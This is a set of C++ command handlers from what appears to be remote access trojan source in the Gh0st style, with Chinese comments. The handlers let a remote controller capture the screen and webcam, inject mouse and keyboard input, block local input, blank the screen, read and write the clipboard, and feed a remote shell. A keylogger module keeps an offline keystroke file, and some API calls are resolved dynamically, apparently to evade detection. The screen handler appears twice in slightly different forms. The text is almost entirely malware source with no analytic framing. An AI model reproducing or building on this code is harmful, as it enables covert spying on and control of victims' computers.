void CAudioManager::OnReceive( LPBYTE lpBuffer, UINT nSize ) { if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT) { NotifyDialogIsOpen(); return; } m_lpAudio->playBuffer(lpBuffer, nSize); }
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { try { switch (lpBuffer[0]) { case COMMAND_NEXT: // 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回 NotifyDialogIsOpen(); break; case COMMAND_SCREEN_RESET: ResetScreen(*(LPBYTE)&lpBuffer[1]); break; case COMMAND_ALGORITHM_RESET: m_bAlgorithm = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setAlgorithm(m_bAlgorithm); break; case COMMAND_SCREEN_CTRL_ALT_DEL: ::SimulateCtrlAltDel(); break; case COMMAND_SCREEN_CONTROL: { typedef BOOL (WINAPI *BlockInputT) ( BOOL fBlockIt ); BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput"); // 远程仍然可以操作 pBlockInput(false); ProcessCommand(lpBuffer + 1, nSize - 1); pBlockInput(m_bIsBlockInput); } break; case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定 m_bIsBlockInput = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_BLANK: m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_CAPTURE_LAYER: m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer); break; case COMMAND_SCREEN_GET_CLIPBOARD: SendLocalClipboard(); break; case COMMAND_SCREEN_SET_CLIPBOARD: UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1); break; default: break; } }catch(...){} }
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { try { switch (lpBuffer[0]) { case COMMAND_NEXT: NotifyDialogIsOpen(); break; case COMMAND_SCREEN_RESET: ResetScreen(*(LPBYTE)&lpBuffer[1]); break; case COMMAND_ALGORITHM_RESET: m_bAlgorithm = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setAlgorithm(m_bAlgorithm); break; case COMMAND_SCREEN_CTRL_ALT_DEL: ::SimulateCtrlAltDel(); break; case COMMAND_SCREEN_CONTROL: { BlockInput(false); ProcessMouseAndKeyCommand(lpBuffer + 1, nSize - 1); BlockInput(m_bIsBlockInput); } break; case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定 m_bIsBlockInput = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_BLANK: m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_CAPTURE_LAYER: m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer); break; case COMMAND_SCREEN_GET_CLIPBOARD: SendLocalClipboard(); break; case COMMAND_SCREEN_SET_CLIPBOARD: UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1); break; default: break; } }catch(...){} }
void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { typedef BOOL (WINAPI *WriteFileT) ( __in HANDLE hFile, __in_bcount(nNumberOfBytesToWrite) LPCVOID lpBuffer, __in DWORD nNumberOfBytesToWrite, __out_opt LPDWORD lpNumberOfBytesWritten, __inout_opt LPOVERLAPPED lpOverlapped ); WriteFileT pWriteFile = (WriteFileT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"WriteFile"); if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT) { NotifyDialogIsOpen(); return; } unsigned long ByteWrite; pWriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL); }
void CKeyboardManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { TCHAR szModule [MAX_PATH]; if (lpBuffer[0] == COMMAND_NEXT) { CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); NotifyDialogIsOpen(); } if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) { m_pTShared->bIsOffline = !m_pTShared->bIsOffline; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); if (!m_pTShared->bIsOffline) DeleteFile(m_pTShared->strRecordFile); else { CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); if (GetFileAttributes(m_pTShared->strRecordFile) == -1) { CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); CloseHandle(hFile); } } } if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR && m_pTShared->bIsOffline) { CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); CloseHandle(hFile); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); } }
void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { switch (lpBuffer[0]) { case COMMAND_NEXT: NotifyDialogIsOpen(); break; case COMMAND_WEBCAM_ENABLECOMPRESS: // 要求启用压缩 { // 如果解码器初始化正常,就启动压缩功能 if (m_pVideoCodec) InterlockedExchange((LPLONG)&m_bIsCompress, true); } break; case COMMAND_WEBCAM_DISABLECOMPRESS: InterlockedExchange((LPLONG)&m_bIsCompress, false); break; case COMMAND_WEBCAM_RESIZE: ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5))); break; default: break; } }